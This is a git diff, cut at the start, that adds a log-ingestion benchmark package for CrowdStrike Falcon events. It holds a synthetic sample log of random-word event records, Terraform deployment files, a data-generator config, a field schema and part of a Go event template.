1686891836383,"IdentityProtectionIncidentId": "whatfear","UserName": "doublegold","EndpointName": "ourbike","EndpointIp": "59.247.68.51","Category": "Incidents","NumbersOfAlerts": 943590548,"NumberOfCompromisedEntities": -281856154,"State": "NEW","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whatclothing?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "Jungianwork","offset": -1789365447,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "impossibletown","DetectName": "thoseworld","DetectDescription": "posse failure purse flock work stand pride mustering sheaf island pollution troop jealousy sand school wood company governor juice whereschool","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/numerouscash?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 40,"SeverityName": "Critical","Tactic": "nobodygrowth","Technique": "manygame","Objective": "franticquiver","SourceAccountDomain": "oddbunch","SourceAccountName": "franticparty","SourceAccountObjectSid": "whichcompany","SourceEndpointAccountObjectGuid": "everythingcrowd","SourceEndpointAccountObjectSid": "herehost","SourceEndpointHostName": "itsoutfit","SourceEndpointIpAddress": "161.46.200.9","SourceEndpointSensorId": "oneposse","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "Diabolicalvest","PatternId": -30748192}} +{"metadata": {"customerIDString": "Senegalesepeace","offset": 1534643744,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "herecurrency","UserIp": "45.126.100.46","OperationName": "activateUser","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "anythingoutfit","ValueString": "singledollar"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "muchalbum"}}} +{"metadata": {"customerIDString": "whosebus","offset": 1439241484,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "someonetribe","DetectName": "anygenetics","DetectDescription": "shoulder motherhood bunch kindness church team company fact team patrol thing Laotianoxygen","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Rooseveltiantolerance?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 82,"SeverityName": "Informational","Tactic": "wherespeed","Technique": "hisscold","Objective": "whichwad","SourceAccountDomain": "abundantdeer","SourceAccountName": "thosehatred","SourceAccountObjectSid": "howgovernment","SourceEndpointAccountObjectGuid": "annoyingcandy","SourceEndpointAccountObjectSid": "whichplace","SourceEndpointHostName": "eitherday","SourceEndpointIpAddress": "154.34.176.197","SourceEndpointSensorId": "greatbra","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "Uzbekgoal","PatternId": 1496321780}} +{"metadata": {"customerIDString": "thismotivation","offset": -326727255,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "scaryunderstanding","MobileDetectionId": 1666589603,"ComputerName": "ourfriend","UserName": "ourcompany","ContextTimeStamp": 1649061056,"DetectId": "Norwegianeducation","DetectName": "Sudaneseeye","DetectDescription": "horror wisdom labour pack bale sheaf bale freedom stand charmingshower","Tactic": "onecare","TacticId": "somebodycackle","Technique": "youngteam","TechniqueId": "Koreanhall","Objective": "wherekindness","Severity": 17,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/oneleap?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "anyteam","AndroidAppLabel": "Danishhen","DexFileHashes": "everysandwich","ImageFileName": "ourpack","AppInstallerInformation": "proudjewelry","IsBeingDebugged": false,"AndroidAppVersionName": "itsexaltation","IsContainerized": true}]}} +{"metadata": {"customerIDString": "hisyear","offset": -1448767478,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -980864626,"ProcessEndTime": -1044321077,"ProcessId": -294277730,"ParentProcessId": -1876307779,"ComputerName": "anypart","UserName": "manyproblem","DetectName": "a little bitmustering","DetectDescription": "problem whosebox","Severity": 0,"SeverityName": "Medium","FileName": "itshark","FilePath": "alldesigner\\itshark","CommandLine": "C:\\Windows\\mycrowd","SHA256String": "thosebouquet","MD5String": "everybodycatalog","SHA1String": "whosehand","MachineDomain": "thatworld","NetworkAccesses": [{"AccessType": 2121345305,"AccessTimestamp": 1751371565,"Protocol": "herfreedom","LocalAddress": "182.180.225.250","LocalPort": 22243,"RemoteAddress": "136.53.227.144","RemotePort": 24308,"ConnectionDirection": 1,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Barcelonianbrother?_cid=xxxxxxx","SensorId": "hercrew","IOCType": "filename","IOCValue": "blackcloud","DetectId": "itinnocence","LocalIP": "106.206.227.215","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "Russianpair","Technique": "theregold","Objective": "Buddhistriches","PatternDispositionDescription": "patience mob cast dishonesty packet gun sedge troop plate confusion problem party dream party union over therehorde","PatternDispositionValue": -74895917,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": false,"SensorOnly": true,"Rooting": true,"KillProcess": true,"KillSubProcess": true,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": true,"SuspendParent": false},"ParentImageFileName": "Frenchleap","ParentCommandLine": "nobodyturtle","GrandparentImageFileName": "theirassistance","GrandparentCommandLine": "Koreanhost","HostGroups": "a lotwisp","AssociatedFile": "mycase","PatternId": 2106182774}} +{"metadata": {"customerIDString": "thosetribe","offset": 2044247197,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "giftedbowl","State": "closed","FineScore": 6.2033996796056305,"LateralMovement": 1,"IncidentType": 1,"IncidentID": "mostwashing machine","HostID": "everysuccess","LMHostIDs": ["somebodymustering"],"UserId": "thereedge"}} +{"metadata": {"customerIDString": "Einsteiniancluster","offset": -1951395340,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Alpinegroup","Region": "us-west-2","ResourceId": "thisnature","ResourceIdType": "severalidea","ResourceName": "whatyear","ResourceCreateTime": 0,"PolicyStatement": "itstupidity","PolicyId": 2086215561,"Severity": 52,"SeverityName": "Low","CloudPlatform": "onehomework","CloudService": "whynews","Disposition": "Failed","ResourceUrl": "somebodybale","Finding": "hundrednoun","Tags": [{"Key": "brighttrust","ValueString": "Indonesianlibrary"}],"ReportUrl": "emptycheese","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "lightpride","offset": 864928643,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "theirthought","CustomerId": "whosechild","Ipv": "176.54.115.87","CommandLine": "whosehelp","ConnectionDirection": "2","EventType": "FirewallRuleIP6Matched","Flags": {"Audit": false,"Log": false,"Monitor": true},"HostName": "Swazifashion","ICMPCode": "hereparty","ICMPType": "amusedclump","ImageFileName": "thosegroup","LocalAddress": "192.163.185.149","LocalPort": "79090","MatchCount": -349549757,"MatchCountSinceLastReport": -2121487243,"NetworkProfile": "whoseclock","PID": "-60059955","PolicyName": "somebodyelegance","PolicyID": "stormyfact","Protocol": "whybook","RemoteAddress": "208.54.63.162","RemotePort": "18860","RuleAction": "cooperativecrew","RuleDescription": "anthology brilliance finger time point exaltation life man muster fleet hereorchard","RuleFamilyID": "theircatalog","RuleGroupName": "therehand","RuleName": "everypath","RuleId": "everybodyarmy","Status": "whichcloud","Timestamp": 1751371830,"TreeID": "over therewashing machine"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf new file mode 100644 index 0000000000..48d10519f0 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf @@ -0,0 +1,5 @@ +resource "local_file" "benchmark_log" { + source = "./files/sample.log" + filename = "/tmp/service_logs/tf-benchmark-${var.TEST_RUN_ID}.log" + file_permission = "0777" +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/variables.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/variables.tf new file mode 100644 index 0000000000..32d90dee64 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/variables.tf @@ -0,0 +1,26 @@ +variable "BRANCH" { + description = "Branch name or pull request for tagging purposes" + default = "unknown-branch" +} + +variable "BUILD_ID" { + description = "Build ID in the CI for tagging purposes" + default = "unknown-build" +} + +variable "CREATED_DATE" { + description = "Creation date in epoch time for tagging purposes" + default = "unknown-date" +} + +variable "ENVIRONMENT" { + default = "unknown-environment" +} + +variable "REPO" { + default = "unknown-repo-name" +} + +variable "TEST_RUN_ID" { + default = "detached" +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark.yml new file mode 100644 index 0000000000..9b4c016deb --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark.yml @@ -0,0 +1,22 @@ +--- +description: Benchmark 1000 falcon events ingested +input: logfile +deployer: tf +data_stream: + name: falcon + vars: + paths: + - "{{SERVICE_LOGS_DIR}}/tf-benchmark-{{TEST_RUN_ID}}.log" +warmup_time_period: 2s +corpora: + input_service: + name: crowdstrike + generator: + total_events: 1000 + template: + path: ./falcon-benchmark/template.ndjson + type: gotext + config: + path: ./falcon-benchmark/config.yml + fields: + path: ./falcon-benchmark/fields.yml diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/config.yml new file mode 100644 index 0000000000..9bb3180c7d --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/config.yml @@ -0,0 +1,203 @@ +fields: +# metadata + - name: metadata.eventType + enum: + - DetectionSummaryEvent + - EppDetectionSummaryEvent + - MobileDetectionSummaryEvent + - IncidentSummaryEvent + - XdrDetectionSummaryEvent + - IdpDetectionSummaryEvent + - ReconNotificationSummaryEvent + - IdentityProtectionEvent + - CSPMIOAStreamingEvent + - CSPMSearchStreamingEvent + - UserActivityAuditEvent + - AuthActivityAuditEvent + - FirewallMatchEvent + - RemoteResponseSessionStartEvent + - ScheduledReportNotificationEvent + - name: metadata.customerIDString + cardinality: 100000 + - name: metadata.offset + cardinality: 100000 + - name: timestamp + period: -24h + +# XdrDetectionSummaryEvent + - name: XdrType + enum: + - xdr + - xdr-scheduled-search + +# ReconNotificationSummaryEvent + - name: ItemType + enum: + - CS + - 6G + - 6G_EXTERNAL + - LEGACY_TI + - BREACH_6G + - SCRAPPY + - TYPOSQUATTING + +# MobileDetectionSummaryEvent + - name: DetectId + cardinality: 100000 + +# CSPM + - name: Region + enum: + - us-west-1 + - us-west-2 + - us-east-1 + - us-east-2 + - name: Disposition + enum: + - Failed + - Passed + +# IncidentSummaryEvent + - name: IncidentState + enum: + - open + - closed + - name: FineScore + range: + min: 0.1 + max: 10 + - name: LateralMovement + range: + min: 0 + max: 1 + - name: IncidentType + range: + min: 1 + max: 2 +# AuthActivityAuditEvent + - name: OperationName + enum: + - activateUser + - changePassword + - confirmResetPassword + - createUser + - deactivateUser + - deleteUser + - grantUserRoles + - grantCustomerSubscriptions + - requestResetPassword + - resetAuthSecret + - revokeUserRoles + - revokeCustomerSubscriptions + - selfAcceptEula + - twoFactorAuthenticate + - updateUser + - updateUserRoles + - userAuthenticate + - name: ServiceName + enum: + - Crowdstrike Streaming API + - detections +# IdentityProtectionEvent + - name: Category + enum: + - Detections + - Incidents + - name: State + enum: + - NEW + - IN_PROGRESS + - DISMISS + - RESOLVED + - AUTO_RESOLVED + +# FirewallMatchEvent + - name: DeviceId + cardinality: 100000 + - name: EventType + enum: + - FirewallRuleIP4Matched + - FirewallRuleIP6Matched + - FirewallRuleApplicationFailed + +# DetectionSummaryEvent + - name: ComputerName + cardinality: 10000 + - name: IOCType + enum: + - domain + - filename + - hash_md5 + - hash_sha256 + - registry_key + - command_line + - behavior + +# EppDetectionSummaryEvent + - name: AgentId + cardinality: 100000 + - name: AggregateId + value: xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725 + - name: CompositeId + value: xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104 + - name: DataDomains + enum: + - Identity + - Web + - Network + - Email + - Endpoint + - Cloud + - IoT + - name: FileName + cardinality: 100000 + - name: HostGroups + cardinality: 10000 + - name: Hostname + cardinality: 100000 + - name: MACAddress + value: ba-xx-00-xx-d0-00 + - name: MD5String + cardinality: 100000 + - name: NetworkAccesses.ConnectionDirection + range: + min: 0 + max: 2 + - name: NetworkAccesses.LocalPort + range: + min: 10 + max: 90000 + - name: NetworkAccesses.RemotePort + range: + min: 10 + max: 90000 + - name: NetworkAccesses.Protocol + enum: + - TCP + - UDP + - name: PlatformName + enum: + - Windows + - Linux + - Mac + - name: Severity + range: + min: 0 + max: 100 + - name: DetectionSeverity + range: + min: 0 + max: 5 + - name: SeverityName + enum: + - Informational + - Low + - Medium + - High + - Critical + - name: Type + enum: + - ldt + - ofp + - name: UserName + cardinality: 10000 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/fields.yml new file mode 100644 index 0000000000..4f8c2d7ddc --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/fields.yml @@ -0,0 +1,469 @@ +- name: metadata + type: group + fields: + - name: eventType + type: keyword + - name: customerIDString + type: keyword + - name: offset + type: integer +- name: AgentId + type: keyword +- name: AggregateId + type: keyword +- name: CommandLine + type: keyword +- name: CompositeId + type: keyword +- name: DataDomains + type: keyword +- name: Description + type: text +- name: FalconHostLink + type: keyword +- name: FileName + type: keyword +- name: FilePath + type: keyword +- name: GrandParentCommandLine + type: keyword +- name: GrandParentImageFileName + type: keyword +- name: GrandParentImageFilePath + type: keyword +- name: HostGroups + type: keyword +- name: Hostname + type: keyword +- name: LocalIP + type: ip +- name: LocalIPv6 + type: ip +- name: LogonDomain + type: keyword +- name: MACAddress + type: keyword +- name: MD5String + type: keyword +- name: Name + type: keyword +- name: NetworkAccesses + type: group + fields: + - name: AccessType + type: integer + - name: ConnectionDirection + type: integer + - name: IsIPV6 + type: boolean + - name: LocalAddress + type: ip + - name: LocalPort + type: integer + - name: Protocol + type: keyword + - name: RemoteAddress + type: ip + - name: RemotePort + type: integer +- name: Objective + type: keyword +- name: ParentCommandLine + type: keyword +- name: ParentImageFileName + type: keyword +- name: ParentImageFilePath + type: keyword +- name: ParentProcessId + type: integer +- name: PatternDispositionDescription + type: text +- name: PatternDispositionFlags + type: group + fields: + - name: BlockingUnsupportedOrDisabled + type: boolean + - name: BootupSafeguardEnabled + type: boolean + - name: ContainmentFileSystem + type: boolean + - name: CriticalProcessDisabled + type: boolean + - name: Detect + type: boolean + - name: FsOperationBlocked + type: boolean + - name: HandleOperationDowngraded + type: boolean + - name: InddetMask + type: boolean + - name: Indicator + type: boolean + - name: KillActionFailed + type: boolean + - name: KillParent + type: boolean + - name: KillProcess + type: boolean + - name: KillSubProcess + type: boolean + - name: OperationBlocked + type: boolean + - name: PolicyDisabled + type: boolean + - name: ProcessBlocked + type: boolean + - name: QuarantineFile + type: boolean + - name: QuarantineMachine + type: boolean + - name: RegistryOperationBlocked + type: boolean + - name: Rooting + type: boolean + - name: SensorOnly + type: boolean + - name: SuspendParent + type: boolean + - name: SuspendProcess + type: boolean +- name: PatternDispositionValue + type: integer +- name: PatternId + type: integer +- name: PlatformId + type: keyword +- name: PlatformName + type: keyword +- name: ProcessEndTime + type: integer +- name: ProcessId + type: integer +- name: ProcessStartTime + type: integer +- name: ReferrerUrl + type: keyword +- name: SHA1String + type: keyword +- name: SHA256String + type: keyword +- name: Severity + type: integer +- name: DetectionSeverity + type: integer +- name: SeverityName + type: keyword +- name: SourceProducts + type: keyword +- name: SourceVendors + type: keyword +- name: Tactic + type: keyword +- name: Technique + type: keyword +- name: Type + type: keyword +- name: UserName + type: keyword +- name: ComputerName + type: keyword +- name: DetectName + type: keyword +- name: DetectDescription + type: text +- name: MachineDomain + type: keyword +- name: SensorId + type: keyword +- name: IOCType + type: keyword +- name: IOCValue + type: keyword +- name: DetectId + type: keyword +- name: GrandparentImageFileName + type: keyword +- name: GrandparentCommandLine + type: keyword +- name: AssociatedFile + type: keyword +- name: DeviceId + type: keyword +- name: CustomerId + type: keyword +- name: Ipv + type: ip +- name: EventType + type: keyword +- name: Flags + type: group + fields: + - name: Audit + type: boolean + - name: Log + type: boolean + - name: Monitor + type: boolean +- name: HostName + type: keyword +- name: ICMPCode + type: keyword +- name: ICMPType + type: keyword +- name: ImageFileName + type: keyword +- name: MatchCount + type: integer +- name: MatchCountSinceLastReport + type: integer +- name: NetworkProfile + type: keyword +- name: PID + type: integer +- name: PolicyName + type: keyword +- name: PolicyID + type: keyword +- name: Protocol + type: keyword +- name: RuleAction + type: keyword +- name: RuleDescription + type: text +- name: RuleFamilyID + type: keyword +- name: RuleGroupName + type: keyword +- name: RuleName + type: keyword +- name: RuleId + type: keyword +- name: Status + type: keyword +- name: TreeID + type: keyword +- name: SourceAccountDomain + type: keyword +- name: SourceAccountName + type: keyword +- name: SourceAccountObjectSid + type: keyword +- name: SourceEndpointAccountObjectGuid + type: keyword +- name: SourceEndpointAccountObjectSid + type: keyword +- name: SourceEndpointHostName + type: keyword +- name: SourceEndpointIpAddress + type: ip +- name: SourceEndpointSensorId + type: keyword +- name: ActivityId + type: keyword +- name: IncidentType + type: integer +- name: IdpIncidentType + type: keyword +- name: IncidentDescription + type: text +- name: IdentityProtectionIncidentId + type: keyword +- name: EndpointName + type: keyword +- name: EndpointIp + type: ip +- name: Category + type: keyword +- name: NumbersOfAlerts + type: integer +- name: NumberOfCompromisedEntities + type: integer +- name: State + type: keyword +- name: IncidentState + type: keyword +- name: UserId + type: keyword +- name: UserIp + type: ip +- name: OperationName + type: keyword +- name: ServiceName + type: keyword +- name: Success + type: boolean +- name: AuditKeyValues + type: group + fields: + - name: Key + type: keyword + - name: ValueString + type: keyword +- name: Attributes + type: group + fields: + - name: actor_cid + type: keyword + - name: actor_user + type: keyword + - name: actor_user_uuid + type: keyword + - name: app_id + type: keyword + - name: detection_id + type: keyword + - name: saml_assertion + type: keyword + - name: target_user + type: keyword + - name: trace_id + type: keyword +- name: UserUUID + type: keyword +- name: UserID + type: keyword +- name: ExecutionID + type: keyword +- name: ReportID + type: keyword +- name: ReportName + type: keyword +- name: ReportType + type: keyword +- name: ReportFileReference + type: keyword +- name: StatusMessage + type: keyword +- name: ExecutionMetadata + type: group + fields: + - name: ExecutionStart + type: integer + - name: ExecutionDuration + type: integer + - name: ReportFileName + type: keyword + - name: ResultCount + type: integer + - name: ResultID + type: keyword + - name: SearchWindowStart + type: integer + - name: SearchWindowEnd + type: integer +- name: SessionId + type: keyword +- name: HostnameField + type: keyword +- name: AgentIdString + type: keyword +- name: FineScore + type: float +- name: LateralMovement + type: integer +- name: IncidentID + type: keyword +- name: HostID + type: keyword +- name: LMHostIDs + type: keyword +- name: AccountId + type: keyword +- name: PolicyId + type: integer +- name: PolicyStatement + type: keyword +- name: CloudProvider + type: keyword +- name: CloudService + type: keyword +- name: EventAction + type: keyword +- name: EventSource + type: keyword +- name: UserSourceIp + type: ip +- name: Region + type: keyword +- name: ResourceId + type: keyword +- name: ResourceIdType + type: keyword +- name: ResourceName + type: keyword +- name: ResourceCreateTime + type: integer +- name: CloudPlatform + type: keyword +- name: Disposition + type: keyword +- name: ResourceUrl + type: keyword +- name: Finding + type: keyword +- name: ResourceAttributes + type: keyword +- name: Tags + type: group + fields: + - name: Key + type: keyword + - name: ValueString + type: keyword +- name: ReportUrl + type: keyword +- name: MobileDetectionId + type: integer +- name: TacticId + type: keyword +- name: TechniqueId + type: keyword +- name: MobileAppsDetails + type: group + fields: + - name: AppIdentifier + type: keyword + - name: AndroidAppLabel + type: keyword + - name: DexFileHashes + type: keyword + - name: ImageFileName + type: keyword + - name: AppInstallerInformation + type: keyword + - name: IsBeingDebugged + type: boolean + - name: AndroidAppVersionName + type: keyword + - name: IsContainerized + type: boolean +- name: NotificationId + type: keyword +- name: Highlights + type: keyword +- name: RuleTopic + type: keyword +- name: RulePriority + type: keyword +- name: ItemId + type: keyword +- name: ItemType + type: keyword +- name: Author + type: keyword +- name: IPv4Addresses + type: ip +- name: HostNames + type: keyword +- name: timestamp + type: date +- name: TacticIds + type: keyword +- name: Tactics + type: keyword +- name: TechniqueIds + type: keyword +- name: Techniques + type: keyword +- name: XdrType + type: keyword diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/template.ndjson new file mode 100644 index 0000000000..e08451d32e --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/template.ndjson @@ -0,0 +1,220 @@ +{{- $AgentId := generate "AgentId" }} +{{- $AggregateId := generate "AggregateId" }} +{{- $CommandLine := generate "CommandLine" }} +{{- $CompositeId := generate "CompositeId" }} +{{- $DataDomains := generate "DataDomains" }} +{{- $Description := generate "Description" }} +{{- $FalconHostLink := generate "FalconHostLink" }} +{{- $FileName := generate "FileName" }} +{{- $FilePath := generate "FilePath" }} +{{- $GrandParentCommandLine := generate "GrandParentCommandLine" }} +{{- $GrandParentImageFileName := generate "GrandParentImageFileName" }} +{{- $GrandParentImageFilePath := generate "GrandParentImageFilePath" }} +{{- $HostGroups := generate "HostGroups" }} +{{- $Hostname := generate "Hostname" }} +{{- $LocalIP := generate "LocalIP" }} +{{- $LocalIPv6 := generate "LocalIPv6" }} +{{- $LogonDomain := generate "LogonDomain" }} +{{- $MACAddress := generate "MACAddress" }} +{{- $MD5String := generate "MD5String" }} +{{- $Name := generate "Name" }} +{{- $AccessType := generate "NetworkAccesses.AccessType" }} +{{- $ConnectionDirection := generate "NetworkAccesses.ConnectionDirection" }} +{{- $IsIPV6 := generate "NetworkAccesses.IsIPV6" }} +{{- $LocalAddress := generate "NetworkAccesses.LocalAddress" }} +{{- $LocalPort := generate "NetworkAccesses.LocalPort" }} +{{- $Protocol := generate "NetworkAccesses.Protocol" }} +{{- $RemoteAddress := generate "NetworkAccesses.RemoteAddress" }} +{{- $RemotePort := generate "NetworkAccesses.RemotePort" }} +{{- $Objective := generate "Objective" }} +{{- $ParentCommandLine := generate "ParentCommandLine" }} +{{- $ParentImageFileName := generate "ParentImageFileName" }} +{{- $ParentImageFilePath := generate "ParentImageFilePath" }} +{{- $ParentProcessId := generate "ParentProcessId" }} +{{- $PatternDispositionDescription := generate "PatternDispositionDescription" }} +{{- $BlockingUnsupportedOrDisabled := generate "PatternDispositionFlags.BlockingUnsupportedOrDisabled" }} +{{- $BootupSafeguardEnabled := generate "PatternDispositionFlags.BootupSafeguardEnabled" }} +{{- $ContainmentFileSystem := generate "PatternDispositionFlags.ContainmentFileSystem" }} +{{- $CriticalProcessDisabled := generate "PatternDispositionFlags.CriticalProcessDisabled" }} +{{- $Detect := generate "PatternDispositionFlags.Detect" }} +{{- $FsOperationBlocked := generate "PatternDispositionFlags.FsOperationBlocked" }} +{{- $HandleOperationDowngraded := generate "PatternDispositionFlags.HandleOperationDowngraded" }} +{{- $InddetMask := generate "PatternDispositionFlags.InddetMask" }} +{{- $Indicator := generate "PatternDispositionFlags.Indicator" }} +{{- $KillActionFailed := generate "PatternDispositionFlags.KillActionFailed" }} +{{- $KillParent := generate "PatternDispositionFlags.KillParent" }} +{{- $KillProcess := generate "PatternDispositionFlags.KillProcess" }} +{{- $KillSubProcess := generate "PatternDispositionFlags.KillSubProcess" }} +{{- $OperationBlocked := generate "PatternDispositionFlags.OperationBlocked" }} +{{- $PolicyDisabled := generate "PatternDispositionFlags.PolicyDisabled" }} +{{- $ProcessBlocked := generate "PatternDispositionFlags.ProcessBlocked" }} +{{- $QuarantineFile := generate "PatternDispositionFlags.QuarantineFile" }} +{{- $QuarantineMachine := generate "PatternDispositionFlags.QuarantineMachine" }} +{{- $RegistryOperationBlocked := generate "PatternDispositionFlags.RegistryOperationBlocked" }} +{{- $Rooting := generate "PatternDispositionFlags.Rooting" }} +{{- $SensorOnly := generate "PatternDispositionFlags.SensorOnly" }} +{{- $SuspendParent := generate "PatternDispositionFlags.SuspendParent" }} +{{- $SuspendProcess := generate "PatternDispositionFlags.SuspendProcess" }} +{{- $PatternDispositionValue := generate "PatternDispositionValue" }} +{{- $PatternId := generate "PatternId" }} +{{- $PlatformId := generate "PlatformId" }} +{{- $PlatformName := generate "PlatformName" }} +{{- $ProcessEndTime := generate "ProcessEndTime" }} +{{- $ProcessId := generate "ProcessId" }} +{{- $ProcessStartTime := generate "ProcessStartTime" }} +{{- $ReferrerUrl := generate "ReferrerUrl" }} +{{- $SHA1String := generate "SHA1String" }} +{{- $SHA256String := generate "SHA256String" }} +{{- $Severity := generate "Severity" }} +{{- $DetectionSeverity := generate "DetectionSeverity" }} +{{- $SeverityName := generate "SeverityName" }} +{{- $SourceProducts := generate "SourceProducts" }} +{{- $SourceVendors := generate "SourceVendors" }} +{{- $Tactic := generate "Tactic" }} +{{- $Technique := generate "Technique" }} +{{- $Type := generate "Type" }} +{{- $UserName := generate "UserName" }} +{{- $ComputerName := generate "ComputerName" }} +{{- $DetectName := generate "DetectName" }} +{{- $DetectDescription := generate "DetectDescription" }} +{{- $MachineDomain := generate "MachineDomain" }} +{{- $SensorId := generate "SensorId" }} +{{- $IOCType := generate "IOCType" }} +{{- $IOCValue := generate "IOCValue" }} +{{- $DetectId := generate "DetectId" }} +{{- $GrandparentImageFileName := generate "GrandparentImageFileName" }} +{{- $GrandparentCommandLine := generate "GrandparentCommandLine" }} +{{- $AssociatedFile := generate "AssociatedFile" }} +{{- $DeviceId := generate "DeviceId" }} +{{- $CustomerId := generate "CustomerId" }} +{{- $Ipv := generate "Ipv" }} +{{- $EventType := generate "EventType" }} +{{- $Audit := generate "Flags.Audit" }} +{{- $Log := generate "Flags.Log" }} +{{- $Monitor := generate "Flags.Monitor" }} +{{- $HostName := generate "HostName" }} +{{- $ICMPCode := generate "ICMPCode" }} +{{- $ICMPType := generate "ICMPType" }} +{{- $ImageFileName := generate "ImageFileName" }} +{{- $MatchCount := generate "MatchCount" }} +{{- $MatchCountSinceLastReport := generate "MatchCountSinceLastReport" }} +{{- $NetworkProfile := generate "NetworkProfile" }} +{{- $PID := generate "PID" }} +{{- $PolicyName := generate "PolicyName" }} +{{- $PolicyID := generate "PolicyID" }} +{{- $Protocol := generate "Protocol" }} +{{- $RuleAction := generate "RuleAction" }} +{{- $RuleDescription := generate "RuleDescription" }} +{{- $RuleFamilyID := generate "RuleFamilyID" }} +{{- $RuleGroupName := generate "RuleGroupName" }} +{{- $RuleName := generate "RuleName" }} +{{- $RuleId := generate "RuleId" }} +{{- $Status := generate "Status" }} +{{- $TreeID := generate "TreeID" }} +{{- $SourceAccountDomain := generate "SourceAccountDomain" }} +{{- $SourceAccountName := generate "SourceAccountName" }} +{{- $SourceAccountObjectSid := generate "SourceAccountObjectSid" }} +{{- $SourceEndpointAccountObjectGuid := generate "SourceEndpointAccountObjectGuid" }} +{{- $SourceEndpointAccountObjectSid := generate "SourceEndpointAccountObjectSid" }} +{{- $SourceEndpointHostName := generate "SourceEndpointHostName" }} +{{- $SourceEndpointIpAddress := generate "SourceEndpointIpAddress" }} +{{- $SourceEndpointSensorId := generate "SourceEndpointSensorId" }} +{{- $ActivityId := generate "ActivityId" }} +{{- $IncidentType := generate "IncidentType" }} +{{- $IdpIncidentType := generate "IdpIncidentType" }} +{{- $IncidentDescription := generate "IncidentDescription" }} +{{- $IdentityProtectionIncidentId := generate "IdentityProtectionIncidentId" }} +{{- $EndpointName := generate "EndpointName" }} +{{- $EndpointIp := generate "EndpointIp" }} +{{- $Category := generate "Category" }} +{{- $NumbersOfAlerts := generate "NumbersOfAlerts" }} +{{- $NumberOfCompromisedEntities := generate "NumberOfCompromisedEntities" }} +{{- $State := generate "State" }} +{{- $IncidentState := generate "IncidentState" }} +{{- $UserId := generate "UserId" }} +{{- $UserIp := generate "UserIp" }} +{{- $OperationName := generate "OperationName" }} +{{- $ServiceName := generate "ServiceName" }} +{{- $Success := generate "Success" }} +{{- $Key := generate "AuditKeyValues.Key" }} +{{- $ValueString := generate "AuditKeyValues.ValueString" }} +{{- $actor_cid := generate "Attributes.actor_cid" }} 